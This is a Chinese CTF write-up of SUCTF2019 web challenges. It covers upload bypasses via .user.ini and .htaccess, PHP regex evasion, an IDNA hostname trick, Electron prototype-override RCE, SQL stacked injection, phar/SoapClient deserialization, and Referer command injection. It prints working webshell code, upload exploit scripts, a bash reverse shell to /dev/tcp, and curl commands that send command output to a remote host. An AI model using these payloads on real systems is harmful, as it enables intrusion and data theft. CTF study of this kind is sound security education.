k0t0r1

SUCTF2019 web wp
8月中的国内赛,比起国际赛的相对容易,当时就打了一天,现在补一下
扫描右侧二维码阅读全文
31
2019/12

SUCTF2019 web wp

8月中的国内赛,比起国际赛的相对容易,当时就打了一天,现在补一下

CheckIn

进去一个上传界面,直接传一个php上去

后缀被过滤

直接传一张图

提示不允许<?,也就是说检查到了内容中。这里可以用<script language="php">绕过,但问题在于需要解析为php才行

于是尝试构造.htaccess上传

检查了文件头,给.htaccess添加文件头会导致.htaccess失效,于是无法利用.htaccess来将jpg解析为php(而且后面发现服务器是nginx而不是apache

于是构造一张能上传的gif,主要是由于大一点的图片就会有<?,同时gif头比较短好构造

可以看到创建了一个文件夹并在其中有个index.php

这里要利用的是.user.ini的漏洞,这个漏洞在apache,nginx,IIS这些服务器上都能利用,只要是通过fastcgi运行的php都能够使用
具体可以参考一下这里.user.ini文件构成的PHP后门 – phith0n

.user.ini是用来自定义的一个ini,它影响的范围是该文件夹下的文件,也就是说能通过.user.ini使得不同文件夹下的php具有不同的配置。不过PHP_INI_SYSTEM模式的配置是不能.user.ini来进行配置,只能由php.ini配置。
而php中个很有用的配置auto_prepend_file,先给个例子
auto_prepend_file=config.php
这样配置完auto_prepend_file后,所有的php都会包含这个config.php。这样就可以省去在php中进行include和require一些配置文件
虽然很有用,但这也造成了漏洞,如果我们修改了auto_prepend_file并指向一个木马文件,那就可以通过访问任意站内的php去执行木马

这里利用这点,正好这个目录下自动创建了一个index.php,于是尝试去构造一个.user.ini并上传

这样如果能使用的话,再上传一个带有由一句话的gif,就能由于index.php引入了1.gif进而利用

上传后访问

成功,接着读根目录

有flag,直接cat

EasyPHP

读源码

<?php
function get_the_flag(){
    // webadmin will remove your upload file every 20 min!!!! 
    $userdir = "upload/tmp_".md5($_SERVER['REMOTE_ADDR']);
    if(!file_exists($userdir)){
        mkdir($userdir);
    }
    if(!empty($_FILES["file"])){
        $tmp_name = $_FILES["file"]["tmp_name"];
        $name = $_FILES["file"]["name"];
        $extension = substr($name, strrpos($name,".")+1);
        if(preg_match("/ph/i",$extension)) die("^_^"); 
            if(mb_strpos(file_get_contents($tmp_name), '<?')!==False) die("^_^");
        if(!exif_imagetype($tmp_name)) die("^_^"); 
        $path= $userdir."/".$name;
        @move_uploaded_file($tmp_name, $path);
        print_r($path);
    }
}

$hhh = @$_GET['_'];

if (!$hhh){
    highlight_file(__FILE__);
}

if(strlen($hhh)>18){
    die('One inch long, one inch strong!');
}

if ( preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i', $hhh) )
    die('Try something else!');

$character_type = count_chars($hhh, 3);
if(strlen($character_type)>12) die("Almost there!");

eval($hhh);
?>

可以看出这题分为两部分,一个对hhh进行检验然后执行,还有get_the_flag()的上传文件利用

这里对hhh检验了三步
if(strlen($hhh)>18)
长度不得大于18
if(preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[x7F]+/i', $hhh))`
hhh不得包含0-9,a-z,A-Z,x00-x7f,'"`~_&.,|=这些符号
$character_type = count_chars($hhh, 3);
if(strlen($character_type)>12) die("Almost there!");
hhh包含的不同字符不得多于12

这里比较麻烦的是正则检验,其它两个可以使用{$_GET['x']}绕过
绕过正则要用点小技巧,参考这里
[Samik081/ctf-writeups
](https://github.com/Samik081/ctf-writeups/blob/master/ISITDTU%20CTF%202019%20Quals/web/easyphp.md)
我们可以利用|!~^这些计算符号,去使用为过滤的字符计算出需要的字符从而绕过过滤
这里用取反或者异或都行

<?php
for($i=0x80;$i<0xff;$i++){
    if(($i^0x80)==ord("_")){
        echo "_:".dechex($i)."<br>";
    }else if(($i^0x80)==ord("G")){
        echo "G:".dechex($i)."<br>";
    }else if(($i^0x80)==ord("E")){
        echo "E:".dechex($i)."<br>";
    }else if(($i^0x80)==ord("T")){
        echo "T:".dechex($i)."<br>";
    }
}

简单计算一下得到payload
_=${ %80%80%80%80^%df%c7%c5%d4 }{ %80 }();&%80=get_the_flag(这里有点格式问题就加了空格,记得删)
这里为了不同字符不多于12,将参数名设为%80%df%c7%c5%d4其中一个就行了【出题的大佬故意这么设的吧

然后到上传文件部分

    if(!empty($_FILES["file"])){
        $tmp_name = $_FILES["file"]["tmp_name"];
        $name = $_FILES["file"]["name"];
        $extension = substr($name, strrpos($name,".")+1);
        if(preg_match("/ph/i",$extension)) die("^_^"); 
            if(mb_strpos(file_get_contents($tmp_name), '<?')!==False) die("^_^");
        if(!exif_imagetype($tmp_name)) die("^_^"); 
        $path= $userdir."/".$name;
        @move_uploaded_file($tmp_name, $path);
        print_r($path);
    }

检查后缀名和内容,感觉和上题差不多,不过这次没有index.php生成,只用.user.ini.起不了效,需要.htaccess。但要使用.htaccess有个问题,由于检查了头部就必须添加图片格式的头部在.htaccess中,而如果.htaccess格式错误就会导致整个目录出错500

这里查到是原题是Insomni'hack CTF-l33t-hoster
题解使用了xbm格式
xbm文件是通过C来标识文件的,举一个例子

#define test_width 16 
#define test_height 7 
static char test_bits[] = { 0x13, 0x00, 0x15, 0x00, 0x93, 0xcd, 0x55, 0xa5, 0x93, 0xc5, 0x00, 0x80, 0x00, 0x60 };

xbm被exif_imagetype()检查的部分为前两行define的部分,而.htaccess中#为注释,这样可通过exif_imagetype()检测并且.htaccess也不会出错
还有大佬测试测出使用wbmp格式,头为00008A398A39也是能够绕过并执行的,可能是由于0x00.htaccess也是注释。同时还和exif_imagetype()检查幻数有关【不太懂

绕过.htaccess后图片就简单了,随便一个图片头都可以。于是依旧尝试和上题一样用<script>但无法执行,想了想才意识到既然用了复杂变量那就是php7了,<script>无法使用。于是这里还要在.htaccess中添加php_value auto_append_file,和上题差不多。不过这次用php://filter伪协议去base64解码上传的文件,然后上传的文件里用base64编码一下就可以绕过<?

这里还要保证解压出来后还是一句话,文件头后补满到四的倍数

import requests
import base64

url = "http://b00b976d-c189-419d-9d7e-4f38e3f2db5f.node3.buuoj.cn/?_=${%80%80%80%80^%df%c7%c5%d4}{%80}();&%80=get_the_flag"

# .htaccess
htaccess = b"""#define width 1337
#define height 1337

AddType application/x-httpd-php .xxx
php_value auto_append_file "php://filter/convert.base64-decode/resource=/var/www/html/upload/tmp_33c6f8457bd77fce0b109b4554e1a95c/shell.xxx"
"""
files = [('file',('.htaccess',htaccess,'image/jpeg'))]
data = {"upload":"Submit"}
r = requests.post(url=url, data=data, files=files)
print(r.text)

# shell.xxx
shell = b"GIF89aaa"+base64.b64encode(b"<?php eval($_GET['a']);?>")
files = [('file',('shell.xxx',shell,'image/jpeg'))]
data = {"upload":"Submit"}
r = requests.post(url=url, data=data, files=files)
print(r.text)

测试一下

上传成功,读波目录

没有返回,去看看phpinfo

可以看到系统函数都被ban了,那用scandir()读目录

然而是个假flag,于是直接读根目录但是不行print_r(scandir('/'));,但无返回。

回去phpinfo看看,果然又是open_basedir,绕一波读根目录

mkdir('kotori');chdir('kotori');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');print_r(scandir('/'));

mkdir('kotori');chdir('kotori');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');echo(file_get_contents('THis_Is_tHe_F14g'));

获得flag

不过这题的假flag中提示了fpm,后面看官方wp也提到了这个,先码着以后再看看Fastcgi协议分析 && PHP-FPM未授权访问漏洞 && Exp编写

Pythonginx

看题目应该是python+nginx的题
进去F12看源码

@app.route('/getUrl', methods=['GET', 'POST'])
def getUrl():
    url = request.args.get("url")
    host = parse.urlparse(url).hostname
    if host == 'suctf.cc':
        return "我扌 your problem? 111"
    parts = list(urlsplit(url))
    host = parts[1]
    if host == 'suctf.cc':
        return "我扌 your problem? 222 " + host
    newhost = []
    for h in host.split('.'):
        newhost.append(h.encode('idna').decode('utf-8'))
    parts[1] = '.'.join(newhost)
    #去掉 url 中的空格
    finalUrl = urlunsplit(parts).split(' ')[0]
    host = parse.urlparse(finalUrl).hostname
    if host == 'suctf.cc':
        return urllib.request.urlopen(finalUrl).read()
    else:
        return "我扌 your problem? 333"

这里检查了三次hostname,要求前两次检查不为suctf.cc,最后一次为suctf.cc才会去读取。这里应该就是通过urlopen()读flag,问题是怎么绕过前两次

前面两次看起来没什么方法绕过,于是看第二次到第三次间做了什么
它这里用不同的编码进行了编码解码,可能漏洞就在这
newhost.append(h.encode('idna').decode('utf-8'))
查一下idna和utf-8可以看到很多这两个编码间转码造成的问题
而且可以查到在blackhat大会上也提到了这个
us-19-Birch-HostSplit-Exploitable-Antipatterns-In-Unicode-Normalization

于是测试一下有什么可以使用的

# -*- coding:utf8 -*-

k = []
for i in range(94):
    k.append([])
for x in range(65536):
    try:
        a = chr(x).encode('idna').decode('utf-8')
        if len(a) == 1:
            if ord(a)>32 and ord(a)<127:
                k[ord(a)-33].append(str(hex(x)))
    except:
        pass
for i in range(94):
    print(str(chr(i+33))+":"),
    print(k[i])

跑一下可以跑出一堆,这里用0x17f代替s

然后尝试一下http://ſuctf.cc

成功回到首页,于是file协议读一波/etc/passwd

没啥东西

这时想到题目有nginx,同时源码有提示了一次

于是/usr/local/nginx/conf/nginx.conf

然后最后读flag

?url=file://ſuctf.cc/../../../../../../../../../../usr/fffffflag

看有大佬只去读了/etc/nginx/conf.d/nginx.conf没读/usr/local/nginx/conf/nginx.conf丢了一血真的亏,没怎么用nginx记一下这两个配置位置先

iCloudMusic

这题buu上没有,bot日常起不来,本地起的Electron页面也不是很好用,脑补做题法x

下载下来的压缩包中有个resources,进去后有个asar文件,可以用asar命令解包获得源码

npm install asar 安装一下asar
asar extract app.asar app 解包asar

读源码直接去看到main.js

let filter=(input)=>{
  input=input.replace(/=|\'|\"|\(|\)/g,'');
  return input;
}

36行处对input的输入全都进行了过滤

然后找到搜索框对应的交互

search.onclick=function(){
  console.log("searching");
  request.get(
    "http://cloudmusic.imagemlt.xyz:3000/playlist/detail?id="+encodeURIComponent(document.getElementById("input").value)+"&time="+Date.now(),

      (error,responce,body)=>{
      if (!error && responce.statusCode==200){
        let res=JSON.parse(body);
        console.log(res);
        if(res.code==200){
          let currentId=remote.getCurrentWebContents().id;

            searchRes.style.minHeight="400px";
            let js_to_run = `
            window.music_info={header:'${res.playlist.coverImgUrl}',title:'${res.playlist.name.substr(0,10).replace(/\n/g,'')}',desc:'${res.playlist.description.substr(0,50).replace(/\n/g,'')}'};
            console.log(music_info);
            window.pid=${res.playlist.id};
            window.fid=${currentId};
            avator.src=music_info['header'];
            avName.innerText=music_info['title'];
            avDesp.innerText=music_info['desc'];
            avator.onclick=play;
            refreshCode();
          `
          view.style.visibility="visible"
          view.executeJavaScript(js_to_run)
        }
      }
      else{
        console.log(responce.statusCode);
        if(responce.statusCode==404){
          document.getElementById("searchRes").innerHTML="<p style='width:90%;text-align:center;color:white'>没有找到您的歌单</p>";
        }
      }
  });
};

进行了搜索,然后将结果放入js_to_run中,再用executeJavaScript()执行js_to_run

再去看list.html

<div id="container">
    <img id="avator"/>
    <span id="avName"></span>
    <span id="avDesp"></span>
    <p>
        <span id="code"></span>
        <input id="captcha"/>
        <a id="share">好听的话,就分享给管理员吧!</a>
    </p>
</div>

有一个分享给管理员的功能,八成是XSS了

<script>
    Object.freeze(document.location)
    share.addEventListener('click',(e)=>{
        if(window.pid!=undefined) {
            request.post({
                url:"http://127.0.0.1:5000/",
                form:{
                    music:JSON.stringify(music_info),
                    id:window.pid,
                    code:captcha.value
                },
                headers:{
                    Cookie:window.session,
                }
            }, (error, response, body) => {
                if (!error && response.statusCode == 200) {
                    console.log(body);
                    res=JSON.parse(body);
                    if(res.success){
                        share.innerText="已分享";
                        setTimeout(()=>{
                            share.innerText="好听的话,就分享给管理员吧!";
                        },1000)
                    }
                    else{
                        share.innerText="分享失败,验证码错误"
                    }
                    refreshCode();
                }
                else{
                    console.log(error,response)
                }
            })
        }
    })
</script>

这里将music_info进行json序列化后发送,不过不太懂这里的music_info是怎么获得的

id=xxx&music={"header":"xxxx","title":"xxxx","desc":"xxx"} &code=xxx

通过测试可以知道发送的参数是这样的,结合刚刚搜索框处的代码,猜测是通过id去获取music读取其中内容。因为这里的music不是通过input提交,于是可以不用理那个过滤。同时js_to_run中,header没有做任何限制,可以利用header发动攻击

像这样就能把弹回数据

{"header":"'};var xml = new XMLHttpRequest;xml.open('POST', 'ip:port', !0),xml.setRequestHeader('Content-type', 'application/x-www-form-urlencoded'),xml.onreadystatechange = function() { 4 == xml.readyState && xml.status},xml.send('test');//","title":"xxxx","desc":"xxx"}

接入js_to_run后就第一句就成了

window.music_info={header:''};var xml = new XMLHttpRequest;xml.open('POST', 'ip:port', !0),xml.setRequestHeader('Content-type', 'application/x-www-form-urlencoded'),xml.onreadystatechange = function() { 4 == xml.readyState && xml.status},xml.send('test');//',title:'xxxx',desc:'xxx'};

然后executeJavaScript()执行这一句就成功发出请求

不过只是弹数据不够,还需要RCE。在electron中,当nodeIntegrationtrue时,可以使用nodejs模块。也就是说当nodeIntegration设置允许时,可以通过nodejs进行RCE
但是,虽然这题nodeIntegration是允许的,但view所生成的webview窗口是与原页面分开的,也就是一个沙盒,默认nodeIntegration为关闭的,无法使用nodejs

不过题目在这里给了个hint:contextisolation
于是去查一下,可以查到
Electron v7.1 官方中文文档:安全 3)为远程内容开启上下文隔离
也就是contextIsolationfalse时,上下文不再隔离,预加载的脚本中配置就能在主上下文中修改,同时有效于预加载了该脚本的窗口中

<webview src="http://127.0.0.1:5000/list.html" preload="pr.js" id="view"></webview>

这里预加载了pr.js,不过没配置contextisolation,应该默认是关的吧

利用这个配置问题,我们可以重写函数

Function.prototype.apply2=Function.prototype.apply;
Function.prototype.apply=function(...args){
    for(var i in args)
        if(args[i])
        console.log(args[i].toString());
    return this.apply2(...args);
}
request.get('http://www.baidu.com/',null)

先像这样重写一波所有函数,输出传入的所有参数。通过暴力fuzz,去寻找process类。经过尝试使用request.get()函数时,第一个参数为process类
于是再次重写反弹shell

Function.prototype.apply2=Function.prototype.apply;
Function.prototype.apply=function(...args){
    if(args[0]!=null && args[0]!=undefined && args[0].env!=undefined){
        Function.prototype.apply=Function.prototype.apply2;
        args[0].mainModule.require('child_process').exec('bash -c "bash -i >& /dev/tcp/XXXXXX/8080 0>&1"');
    }
    return this.apply2(...args)
}
request.get('http://www.baidu.com/',null)

这里除了暴力fuzz还能通过白盒审计去找寻process

process下有nextTrick()这个函数

ƒ (...args) {
    process.activateUvLoop();
    return func.apply(this, args);
}

使用func.apply()时传入了自身

而http库下,处理socket请求的关键函数调用了netxTrick()

ClientRequest.prototype.onSocket = function onSocket(socket) {
    process.nextTick(onSocketNT, this, socket);
};

然后request库中请求也都是使用http库,同时自身也多次调用了netxTrick()

var defer = typeof setImmediate === 'undefined'
    ? process.nextTick
    : setImmediate

不过我还是觉得比起白盒爆破应该更快Orz,毕竟pr.js中就引用了request库,会从这里开始找

做这题发现Electron这个玩意还挺好玩的样子,做出来的桌面页面有点漂亮,寒假整整玩看

easy_sql

这题其实看不太懂大佬们怎么猜出sql语句的。这题是堆叠注入,fuzz一下可以发现过滤了union,from,like,where之类的,直接查不太可能了

这里测试时会发现只有输入非零数字时才会回显,但靠这个真的猜不出语句呀Orz。后台的sql语句应该是
select $_GET['query'] || flag from flag
看到后想到可以输入true和false去测试,实际也成功了,不过不知道语句前实在想不到

得到了语句后,就想到直接去查那个列不就好了,尝试了一下flag,1,不过flag被过滤了。那就直接读全部吧,于是*,1得到flag

不过其实这题出题人想考的是||可以通过mysql的配置修改为两个字符串连接
可以看mysql的手册SQL_MODE
可以通过将mysql的模式设为PIPES_AS_CONCAT,这样||就会被认为是连接符而不是或运算。Mysql可以用set sql_mode=语句设置模式,于是构造一下payload
1;set sql_mode=PIPES_AS_CONCAT;select 1

同样可以拿到flag

Uploads labs 2

比赛时给了源码,是道审计题

if (isset($_POST["upload"])) {
    // 允许上传的图片后缀
    $allowedExts = array("gif", "jpeg", "jpg", "png");
    $tmp_name = $_FILES["file"]["tmp_name"];
    $file_name = $_FILES["file"]["name"];
    $temp = explode(".", $file_name);
    $extension = end($temp);
    if ((($_FILES["file"]["type"] == "image/gif")
            || ($_FILES["file"]["type"] == "image/jpeg")
            || ($_FILES["file"]["type"] == "image/png"))
        && ($_FILES["file"]["size"] < 204800)   // 小于 200 kb
        && in_array($extension, $allowedExts)
    ) {
        $c = new Check($tmp_name);
        $c->check();
        if ($_FILES["file"]["error"] > 0) {
            echo "错误:: " . $_FILES["file"]["error"] . "<br>";
            die();
        } else {
            move_uploaded_file($tmp_name, $userdir . "/" . md5($file_name) . "." . $extension);
            echo "文件存储在: " . $userdir . "/" . md5($file_name) . "." . $extension;
        }
    } else {
        echo "非法的文件格式";
    }
}
    function check(){
        $data = file_get_contents($this->file_name);
        if (mb_strpos($data, "<?") !== FALSE) {
            die("&lt;? in contents!");
        }
    }

这次的上传没有检查文件头,只是检查了后缀和内容,猜测是phar的反序列化。一开始想着是不是file_get_contents处触发,不过想想file_name难以控制应该不是这

然后看func.php

if (isset($_POST["submit"]) && isset($_POST["url"])) {
    if(preg_match('/^(ftp|zlib|data|glob|phar|ssh2|compress.bzip2|compress.zlib|rar|ogg|expect)(.|\\s)*|(.|\\s)*(file|data|\.\.)(.|\\s)*/i',$_POST['url'])){
        die("Go away!");
    }else{
        $file_path = $_POST['url'];
        $file = new File($file_path);
        $file->getMIME();
        echo "<p>Your file type is '$file' </p>";
    }
}

这里过滤了一堆协议,不允许以这些协议开头,这就很难搞。不过没有过滤php,于是就有大佬fuzz出php://filter/resource=phar://,tql又学到一个新操作

然后用到了file类

class File{
    public $file_name;
    public $type;
    public $func = "Check";
    function __construct($file_name){
        $this->file_name = $file_name;
    }
    function __wakeup(){
        $class = new ReflectionClass($this->func);
        $a = $class->newInstanceArgs($this->file_name);
        $a->check();
    }
    
    function getMIME(){
        $finfo = finfo_open(FILEINFO_MIME_TYPE);
        $this->type = finfo_file($finfo, $this->file_name);
        finfo_close($finfo);
    }
    function __toString(){
        return $this->type;
    }
}

File类的__wakeup()中使用了反射类,那我们可以利用这里实例化其他类。然后在getMIME()中使用了finfo_file(),那就是利用这里反序列化phar,继而反序列化File调用__wakeup()。接下来要做什么继续看

class Ad{

    public $cmd;
    public $clazz;
    public $func1;
    public $func2;
    public $func3;
    public $instance;
    public $arg1;
    public $arg2;
    public $arg3;

    function __construct($cmd, $clazz, $func1, $func2, $func3, $arg1, $arg2, $arg3){

        $this->cmd = $cmd;

        $this->clazz = $clazz;
        $this->func1 = $func1;
        $this->func2 = $func2;
        $this->func3 = $func3;
        $this->arg1 = $arg1;
        $this->arg2 = $arg2;
        $this->arg3 = $arg3;
    }

    function check(){

        $reflect = new ReflectionClass($this->clazz);
        $this->instance = $reflect->newInstanceArgs();

        $reflectionMethod = new ReflectionMethod($this->clazz, $this->func1);
        $reflectionMethod->invoke($this->instance, $this->arg1);

        $reflectionMethod = new ReflectionMethod($this->clazz, $this->func2);
        $reflectionMethod->invoke($this->instance, $this->arg2);

        $reflectionMethod = new ReflectionMethod($this->clazz, $this->func3);
        $reflectionMethod->invoke($this->instance, $this->arg3);
    }

    function __destruct(){
        system($this->cmd);
    }
}

admin.php中有个Ad类,__destruct()中使用了system(),那就是要利用这里

if($_SERVER['REMOTE_ADDR'] == '127.0.0.1'){
    if(isset($_POST['admin'])){
        $cmd = $_POST['cmd'];

        $clazz = $_POST['clazz'];
        $func1 = $_POST['func1'];
        $func2 = $_POST['func2'];
        $func3 = $_POST['func3'];
        $arg1 = $_POST['arg1'];
        $arg2 = $_POST['arg2'];
        $arg2 = $_POST['arg3'];
        $admin = new Ad($cmd, $clazz, $func1, $func2, $func3, $arg1, $arg2, $arg3);
        $admin->check();
    }
}

继续看下面,判断是否来自127.0.0.1,然后实例化Ad类调用check()。那就是要用soap类去访问这里

结合前面分析的,就是构造一个phar包,其中为File类,File类中的func指向SoapClient,通过SoapClient向admin.php发送请求,调用system()再用curl将数据带出
于是构造一下,在反射类那里突然发现好像自己没用过多少类,查了一下用了DateTime类【wtcl

<?php
class File{
    public $file_name;
    public $func = "SoapClient";
    function __construct(){
        $location = "http://127.0.0.1/admin.php";
        $uri = "aaa";
        $this->file_name = array(null, array('user_agent' => "buu\r\nContent-Type:application/x-www-form-urlencoded\r\nContent-Length:150\r\n\r\nadmin=1&cmd=curl -d "`ls /`" http://ip:port/&clazz=DateTime&func1=modify&func2=format&func3=setTimestamp&arg1=-1 day&arg2=Y-m-d H:i:s&arg3=1536547854",'location' => $location,'uri' => $uri));
    }
}

$phar = new Phar("file.phar");
$phar->startBuffering();
$phar->setStub('<script language="php">__HALT_COMPILER();</script>');
$file = new File();
$phar->setMetadata($file);
$phar->addFromString("1.txt", "test"); 
$phar->stopBuffering();
// curl -d "`ls`" http://ip:port/
// curl http://ip:port/?a=`/readflag`

然而这个整了一个下午我都没带出数据,把代码部署到自己服务器上尝试可以但buu上就是不行,不知道为什么了Orz

这里除了用<script>外还可以用GIF89aphp __HALT_COMPILER(); ?>绕过<?的检查,phar包有__HALT_COMPILER(); ?>作为头部的结尾就能使用

不过这题预期解是要我们用mysqli类

$m = new mysqli();
$m->init(); 
$m->real_connect(ip,user,psw,database,3306); 
$m->query(query)

像这样,通过real_connect()可以将options()的设置覆盖掉,这样就能保证LOAD DATA INFILE能够使用。然后连接上远程的数据库,LOAD DATA INFILE一波完事

Cocktail's Remix

这题甚至连docker都没有,也许大佬还要拿来复用?不过最近的比赛好像都没看到的样子,最重要分析的so文件都没有,真的就只能全程脑补了Orz

扫目录可以扫到robots.txt

User-agent: * 
Disallow: /info.php 
Disallow: /download.php 
Disallow: /config.php

info.php为phpinfo
download.php能够下载,但不知道要传入什么。抓包后发现Content-Disposition处有个filename,于是尝试filename传参

传入filename发现可以实现任意文件下载
于是去拿源码,config.php中给了mysql的账户与密码

<?php
    //$db_server = "MysqlServer";
    //$db_username = "dba";
    //$db_password = "rNhHmmNkN3xu4MBYhm";    
?>

拿了其它几个源码没什么用,于是去读phpinfo

在扩展中发现了一个和题目名相似的扩展,于是拿一波/usr/lib/apache2/modules/mod_cocktail.so

so文件分析就只能用大佬们给的图分析了

可以看到,35行用popen()执行了reffer中命令,猜测应该是在ap_rwrite()处就返回出来了
往上找reffer,发现reffer应该是v7经过j_remix()处理后的结果,再往上看v3看起来像头部信息,那v5应该也是头部里的信息。28行将v7与Reffer字符串比较,那应该是通过在头部设置Reffer,将值传给了v7加密后赋给reffer

然后去读j_remix()

看起来是某种编码,使用IDA的findcrypt插件可以发现有base64表,猜测是base64

于是利用此处,在头部添加Reffer,并加入base64后的命令。但由于没有权限写webshell,只能通过将mysql的数据输出到文件中再读取文件获得信息

payload:
mysql -h MysqlServer -u dba -p rNhHmmNkN3xu4MBYhm -e "show databases;" > /tmp/zero.txt && cat /tmp/zero.txt && rm /tmp/zero.txt
mysql -h MysqlServer -u dba -p rNhHmmNkN3xu4MBYhm -e "use flag;show tables;" > /tmp/zero.txt && cat /tmp/zero.txt && rm /tmp/zero.txt
mysql -h MysqlServer -u dba -p rNhHmmNkN3xu4MBYhm -e "use flag;select * from flag;" > /tmp/zero.txt && cat /tmp/zero.txt && rm /tmp/zero.txt
最后修改:2020 年 01 月 02 日 08 : 19 PM
如果觉得我的文章对你有用,请随意赞赏

发表评论